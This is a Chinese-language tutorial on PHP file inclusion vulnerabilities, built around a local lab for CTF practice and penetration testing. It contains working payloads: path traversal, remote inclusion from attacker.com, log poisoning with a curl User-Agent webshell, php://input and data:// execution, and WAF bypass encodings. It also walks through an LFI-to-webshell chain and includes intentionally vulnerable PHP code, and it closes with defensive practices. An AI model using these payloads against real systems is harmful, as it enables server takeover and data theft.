在CTF比赛或渗透测试中,Web文件包含漏洞是获取服务器敏感信息、执行系统命令甚至获取WebShell的经典突破口。很多初学者在理解本地文件包含(LFL)后,面对远程文件包含(RFL)和更复杂的利用场景时,常常感到无从下手。本文将从实战角度出发,深入剖析文件包含漏洞的进阶利用技巧,包括无后缀文件包含、日志污染、PHP伪协议的高级应用以及绕过常见WAF/过滤的方法,并提供完整的本地靶场复现环境。无论你是CTF选手、安全爱好者还是希望加固自身应用的开发者,都能从中获得系统性的知识和可复现的实战经验。
1. 文件包含漏洞核心概念回顾与进阶分类
在深入高级技巧前,我们有必要对文件包含漏洞建立一个清晰、完整的认知框架。这不仅是理解后续内容的基础,也能帮助我们在实际场景中快速定位漏洞点。
1.1 什么是文件包含?
文件包含是Web开发中一种常见的代码复用机制。开发者通过特定的函数,将另一个文件的内容引入当前文件执行。这有助于模块化开发,提高代码可维护性。在PHP中,主要的包含函数有四个:
include():包含并运行指定文件。如果包含失败(如文件不存在),会发出一个警告(E_WARNING),但脚本会继续执行。require():包含并运行指定文件。如果包含失败,会引发一个致命错误(E_COMPILE_ERROR),并终止脚本执行。include_once():与include()功能相同,但会检查该文件是否已经被包含过。如果是,则不会再次包含。require_once():与require()功能相同,但会检查该文件是否已经被包含过。
漏洞产生的根本原因在于,这些函数包含的“文件路径”参数,如果完全或部分由用户输入控制,且没有经过严格的过滤和校验,攻击者就可以通过构造恶意路径,让应用程序包含并执行非预期的文件,从而造成安全风险。
1.2 本地文件包含 vs. 远程文件包含
这是文件包含漏洞最基本的分类,其利用条件和危害程度有显著区别。
本地文件包含:攻击者只能包含服务器本地文件系统上的文件。
- 关键配置:
allow_url_include设置为Off(默认情况)。 - 利用目标:敏感配置文件(如
/etc/passwd)、应用程序源码、日志文件、Session文件、临时文件等。 - 示例Payload:
?file=../../../../etc/passwd
远程文件包含:攻击者可以包含远程服务器(攻击者控制)上的文件。
- 关键配置:
allow_url_include设置为On。注意:自PHP 5.2.0起,该选项默认关闭,且在php.ini中明确标记为“PHP_INI_SYSTEM”,意味着无法通过ini_set()在运行时开启。 - 利用方式:直接包含一个远程URL,该URL指向一个包含恶意代码的文本文件(通常后缀为
.txt或.php)。 - 示例Payload:
?file=http://attacker.com/shell.txt - 危害:危害极大,相当于直接让服务器下载并执行攻击者的代码,通常能直接获取WebShell。
1.3 文件包含漏洞的常见入口点
理解漏洞常出现的位置,有助于在代码审计或黑盒测试中快速定位。
- 模板加载/渲染:
?page=about,?module=news - 语言/本地化切换:
?lang=en - 文件下载/查看:
?file=report.pdf - 插件/组件调用:
?plugin=userProfile
2. 靶场环境搭建与基础漏洞代码
为了安全、合法地学习和复现漏洞,我们必须在隔离的本地环境中进行。以下将搭建一个简单的PHP靶场。
2.1 环境准备
- 操作系统:Windows 10/11, macOS, 或 Linux (如 Ubuntu)
- Web服务器:XAMPP、WAMP、MAMP 或 Docker + PHP镜像。本文以XAMPP为例。
- 代码编辑器:VS Code、PhpStorm、Sublime Text等。
2.2 漏洞代码示例
在XAMPP的htdocs目录下创建一个名为lfi-lab的文件夹,并创建以下文件:
1. 基础存在漏洞的文件 (vuln.php):
<?php // vuln.php - 存在文件包含漏洞的示例 $file = $_GET['file']; // 用户输入直接传递给包含函数,无任何过滤! include($file); ?>这是一个最原始、最典型的漏洞代码。攻击者通过?file=参数可以控制包含的目标。
2. 带简单后缀过滤的漏洞文件 (vuln_filter.php):
<?php // vuln_filter.php - 存在过滤但可绕过的示例 $file = $_GET['file']; if (strpos($file, '.php') !== false) { die('Hacker! No .php allowed!'); } include($file . '.php'); // 自动添加.php后缀 ?>这段代码尝试禁止参数中出现.php字符串,并自动为输入添加.php后缀。我们将学习如何绕过它。
3. 带路径替换过滤的漏洞文件 (vuln_replace.php):
<?php // vuln_replace.php - 使用str_replace过滤 $file = $_GET['file']; $file = str_replace('../', '', $file); // 简单替换目录遍历符 include('/var/www/html/' . $file); // 假设固定了基础路径 ?>这种过滤非常脆弱,很容易被双写等手段绕过。
将上述文件保存后,通过浏览器访问http://localhost/lfi-lab/vuln.php,我们的靶场就准备好了。
3. 进阶利用技巧:无后缀包含与日志污染
当目标对包含的文件名有后缀限制,或者我们无法直接上传.php文件时,就需要利用一些特殊技巧。
3.1 无后缀文件包含利用
场景:漏洞代码类似vuln_filter.php,它禁止参数中出现.php,但最后又自动添加了.php后缀。如果我们传入?file=shell,最终会尝试包含shell.php。
利用方法:空字节截断
- 原理:在PHP版本 < 5.3.4 的环境中,
include()等函数在解析文件路径时,如果遇到空字节(%00),会将其视为字符串的结束。而自动添加的后缀.php在空字节之后,因此被忽略。 - Payload:
?file=../../../../etc/passwd%00- 实际尝试包含
/etc/passwd,而非/etc/passwd.php。
- 实际尝试包含
- 现状:此技巧在PHP 5.3.4及以上版本已被修复,空字节不再具有截断效果。但在一些历史遗留系统或CTF老题目中仍可能遇到。
更通用的方法:利用PHP伪协议当空字节失效后,php://filter协议成为无后缀包含的利器。它不需要文件有.php后缀,只要文件内容能被当作PHP代码执行即可。我们通常用它来读取源码,配合其他漏洞(如文件上传)来执行代码。具体用法将在第4节详述。
3.2 日志文件包含攻击
这是本地文件包含漏洞最具威力的利用方式之一,可以在没有文件上传功能的情况下获取WebShell。
原理: Web服务器(如Apache、Nginx)会将所有访问请求记录在日志文件中,例如access.log。如果我们在User-Agent或请求路径中插入一段PHP代码,这段代码就会被原样写入日志文件。随后,利用LFI漏洞去包含这个日志文件,服务器就会将日志文件中的PHP代码解析执行。
攻击步骤:
定位日志路径:首先需要知道日志文件的绝对路径。常见默认路径有:
- Apache:
/var/log/apache2/access.log,/var/log/httpd/access_log,C:\xampp\apache\logs\access.log - Nginx:
/var/log/nginx/access.log - 可以通过LFI读取配置文件或报错信息来获取。
- Apache:
污染日志:使用工具(如Burp Suite、curl)或浏览器插件,发送一个特殊的HTTP请求。
# 使用curl污染User-Agent curl -A "<?php system(\$_GET['cmd']);?>" http://localhost/lfi-lab/vuln.php?file=test.txt # 或者污染请求路径(需要URL编码) curl http://localhost/lfi-lab/vuln.php/<?php phpinfo();?>注意:如果日志中的PHP代码包含短标签
<?,需要确保目标服务器的short_open_tag配置为On,否则使用完整标签<?php ... ?>更可靠。包含并执行:通过LFI漏洞包含被污染的日志文件。
http://localhost/lfi-lab/vuln.php?file=../../../../var/log/apache2/access.log如果成功,服务器会解析日志文件中的PHP代码。此时,可以尝试执行命令:
http://localhost/lfi-lab/vuln.php?file=../../../../var/log/apache2/access.log&cmd=id(假设我们污染的是
system($_GET['cmd']))
实战注意事项:
- 日志文件通常很大,包含可能导致进程超时或内存耗尽。可以尝试包含
error.log或通过参数污染制造一个单独的、易于包含的404错误日志条目。 - 现代服务器或安全配置可能会对日志内容进行编码或过滤,导致PHP代码被破坏。
- 确保你对日志文件有读取权限。
4. PHP伪协议深度解析与利用
PHP内置了一系列封装协议(Wrapper),为文件包含漏洞的利用打开了新世界的大门。它们可以用于读取源码、执行代码、甚至进行SSRF攻击。
核心配置:allow_url_fopen和allow_url_include会影响这些协议的使用。allow_url_fopen默认通常为On,允许类似http://的URL;allow_url_include默认Off,仅影响php://input等少数协议。
4.1 php://filter — 源码读取器
这是最常用、最安全的伪协议,主要用于读取文件源码,特别是当文件被包含后直接执行导致我们看不到源代码时。
基本语法:php://filter/read=转换过滤器/resource=目标文件
read=指定过滤器链。resource=指定要读取的文件。
常用过滤器:
convert.base64-encode:将文件内容进行Base64编码输出。这是最常用的方式,可以避免包含文件时因包含特殊字符(如<?php ?>)导致解析错误或直接执行。convert.iconv.*:进行字符编码转换,可用于某些绕过。string.rot13:进行ROT13编码。zlib.*:进行压缩/解压。
实战示例:
读取PHP源码:
http://localhost/lfi-lab/vuln.php?file=php://filter/read=convert.base64-encode/resource=vuln.php返回的结果是Base64编码后的
vuln.php文件内容,解码后即可获得源代码。读取系统文件:
http://localhost/lfi-lab/vuln.php?file=php://filter/read=convert.base64-encode/resource=/etc/passwd过滤器链:可以串联多个过滤器。
php://filter/read=convert.iconv.utf-8.utf-16le|convert.base64-encode/resource=config.php
4.2 php://input — 直接代码执行
这是一个极其危险的协议,允许我们将POST请求的原始体(body)作为PHP代码执行。
利用条件:
allow_url_include必须为On(较难满足)。- 目标
include函数包含的是php://input这个“流”,而不是一个文件。
攻击步骤:
- 发送一个POST请求。
- 将请求的
Content-Type设置为application/x-www-form-urlencoded。 - 在POST Body中直接写入要执行的PHP代码。
- URL参数指向
php://input。
Burp Suite 示例:
POST /lfi-lab/vuln.php?file=php://input HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 18 <?php phpinfo();?>如果配置允许,服务器将执行phpinfo()。
4.3 data:// — 数据流包含
与php://input类似,但代码是直接编码在URL中的。
基本语法:data://text/plain,代码或data://text/plain;base64,Base64编码的代码
利用条件:allow_url_include必须为On。
实战示例:
直接执行:
http://localhost/lfi-lab/vuln.php?file=data://text/plain,<?php phpinfo();?>注意:代码中的
<?php标签可能需要URL编码。Base64编码执行(更可靠):
http://localhost/lfi-lab/vuln.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b其中
PD9waHAgcGhwaW5mbygpOz8+是<?php phpinfo();?>的Base64编码。
4.4 其他有用协议
zip://:可以包含ZIP压缩包中的特定文件。例如:zip:///path/to/archive.zip%23file.txt(#需要编码为%23)。phar://:与zip://类似,但更强大,支持Phar归档,常用于反序列化攻击中。expect://:用于执行系统命令,但需要安装并启用PECL的expect扩展,极不常见。
5. 绕过过滤与WAF的奇技淫巧
在实际漏洞利用中,我们很少遇到像vuln.php那样毫无防护的代码。下面总结常见的过滤手段及其绕过方法。
5.1 绕过路径遍历过滤
场景1:简单替换../如vuln_replace.php所示,代码使用str_replace('../', '', $input)。
- 绕过方法:双写绕过。
- 原理:
str_replace仅进行一次替换。输入..././,经过替换后,中间的../被删掉,两边的.和/组合成了新的../。 - Payload:
?file=..././..././..././etc/passwd
- 原理:
场景2:过滤../和..\
- 绕过方法:使用绝对路径。如果知道Web目录的绝对路径,可以直接包含。
- Payload:
?file=/var/www/html/config.php
- Payload:
- 绕过方法:利用编码。某些WAF可能只检测明文。
- URL编码:
..%2f(/),%2e%2e%2f(../),..%c0%af(UTF-8过载编码,取决于服务器解析)。 - 注意:PHP在接收
$_GET/$_POST时会自动解码一次,所以传入%2f会被解码为/。
- URL编码:
5.2 绕过后缀限制
场景1:强制添加后缀(如.php)如前所述,使用php://filter读取源码,或利用空字节(旧版本)。场景2:白名单校验代码只允许包含about.html,news.php等固定文件。
- 绕过方法:路径穿越 + 伪协议。如果校验逻辑不严,可能可以先穿越目录,再指向目标文件。
- 假设校验
$file是否在[‘about’, ‘news’]列表中,通过后拼接.php。但若传入news/../../../etc/passwd,校验通过,最终包含news/../../../etc/passwd.php,可能因为文件不存在而报错,但有时报错信息会泄露路径。更常见的利用是配合文件上传,将木马上传到可访问目录,然后包含它。
- 假设校验
- 绕过方法:利用
zip://或phar://。可以上传一个包含恶意PHP文件的ZIP包,然后包含zip:///path/to/evil.zip%23shell.php。
5.3 绕过WAF(Web应用防火墙)
WAF通常会检测请求参数中的敏感字符串,如../,etc/passwd,php://等。
- 拆分/混淆:将关键字拆分为多个参数,或与普通参数混合。
- 编码混淆:
- 多重URL编码:
php://->%2570%2568%2570%253a%252f%252f(WAF解码一次可能识别不出,PHP最终解码两次)。 - HTML实体编码:在某些上下文中有用。
- Unicode编码/变形。
- 多重URL编码:
- 协议大小写变形:
PHP://,PhP://(PHP协议通常不区分大小写)。 - 使用不常见的协议:如
compress.zlib://,file://等。 - 利用WAF解析差异:某些WAF与后端Web服务器/PHP解析器在解析URL、参数时的差异可能导致绕过。例如,在参数中添加
?、#、;等。
6. 实战综合案例:从LFI到GetShell
假设我们面对一个目标:http://target.com/index.php?page=about
- 探测漏洞:尝试
?page=../../../../etc/passwd,成功返回内容,确认存在LFI。 - 读取源码:使用
php://filter读取index.php本身,分析其包含逻辑。
(假设它会自动加?page=php://filter/read=convert.base64-encode/resource=index.php) 解码后发现代码是:include($_GET['page'] . '.php'); - 寻找上传点:发现网站有头像上传功能,但只允许
.jpg,.png。 - 制作图片马:创建一个包含PHP代码的图片文件。
或者使用GIF文件头绕过:echo '<?php system($_GET["c"]);?>' >> shell.jpgGIF89a<?php system($_GET["c"]);?> - 上传并获取路径:上传
shell.jpg,通过响应或查看页面元素,得知文件被重命名为1623456789.jpg并存储在/uploads/。 - 包含图片马:利用LFI包含上传的图片。但由于有
.php后缀限制,直接包含uploads/1623456789.jpg会变成uploads/1623456789.jpg.php,文件不存在。 - 利用伪协议绕过后缀:使用
php://filter来包含图片文件,但需要让服务器将其内容作为PHP执行。这里需要另一个技巧:如果图片内容被当作纯文本包含,其中的PHP代码不会执行。我们需要找到一个能执行代码的包含点。如果allow_url_include=On,可以尝试用php://input或data://。如果不行,则回到日志污染的思路。 - 日志污染GetShell:
- 确定Apache日志路径为
/var/log/apache2/access.log。 - 污染日志:
curl -A "<?php file_put_contents('shell.php', '<?php eval(\$_POST[cmd]);?>');?>" http://target.com/ - 包含日志执行代码:
?page=../../../../var/log/apache2/access.log。这会执行User-Agent中的代码,在Web根目录写入一个真正的shell.php。 - 访问
http://target.com/shell.php,使用POST参数cmd=系统命令即可管理服务器。
- 确定Apache日志路径为
7. 防御方案与最佳实践
作为开发者,必须从根源上杜绝文件包含漏洞。
7.1 输入验证与白名单
这是最有效的方法。
- 绝对禁止用户输入直接进入包含函数。
- 建立白名单机制:将允许包含的文件名映射到一个标识符。
// 安全示例 $allowed_pages = [ 'home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php', ]; $page = $_GET['page'] ?? 'home'; if (array_key_exists($page, $allowed_pages)) { include(__DIR__ . '/templates/' . $allowed_pages[$page]); } else { include(__DIR__ . '/templates/404.php'); } - 严格校验输入内容:如果必须使用动态路径,应严格限制字符,仅允许字母、数字、下划线、短横线,并使用
basename()函数去除路径部分。
7.2 安全配置
- PHP配置:
- 确保
allow_url_fopen = Off(根据业务需要)。 - 务必确保
allow_url_include = Off(生产环境绝对不要开启)。 - 设置
open_basedir限制PHP可访问的目录范围。 - 关闭
register_globals(已废弃)。
- 确保
- 服务器配置:
- 将Web根目录(如
/var/www/html)与应用程序目录、日志目录、配置文件目录分离。 - 为Web服务器进程(如www-data用户)设置最小权限原则,限制其对系统文件的读取权限。
- 将Web根目录(如
7.3 代码层面
- 使用绝对路径:结合白名单,使用
__DIR__等魔术常量构造绝对路径,避免相对路径遍历。 - 避免动态包含:重新评估架构,是否必须使用动态包含?能否改用路由分发或模板引擎?
- 安全函数:如果需要包含非PHP文件(如模板),使用
file_get_contents()读取内容,然后使用echo输出,而不是include。
7.4 其他措施
- 定期安全审计:对代码进行人工或工具(如RIPS、Fortify)的静态扫描。
- 部署WAF:虽然不能根治,但可以增加攻击难度,防范自动化工具。
- 保持更新:及时更新PHP版本和框架,修复已知的安全问题。
文件包含漏洞的利用是一个层层递进的过程,从简单的目录遍历读取敏感文件,到利用伪协议获取源码,再到通过日志污染或结合上传功能获取服务器权限。理解每一步的原理和前提条件,是成功利用和有效防御的关键。对于安全研究人员,掌握这些技巧有助于深入理解Web安全;对于开发者,则是一次警醒,必须在编码之初就筑牢安全的篱笆。建议读者在本地靶场中逐一复现本文提到的所有技巧,并尝试搭建一个安全的包含函数,从攻防两个角度深化理解。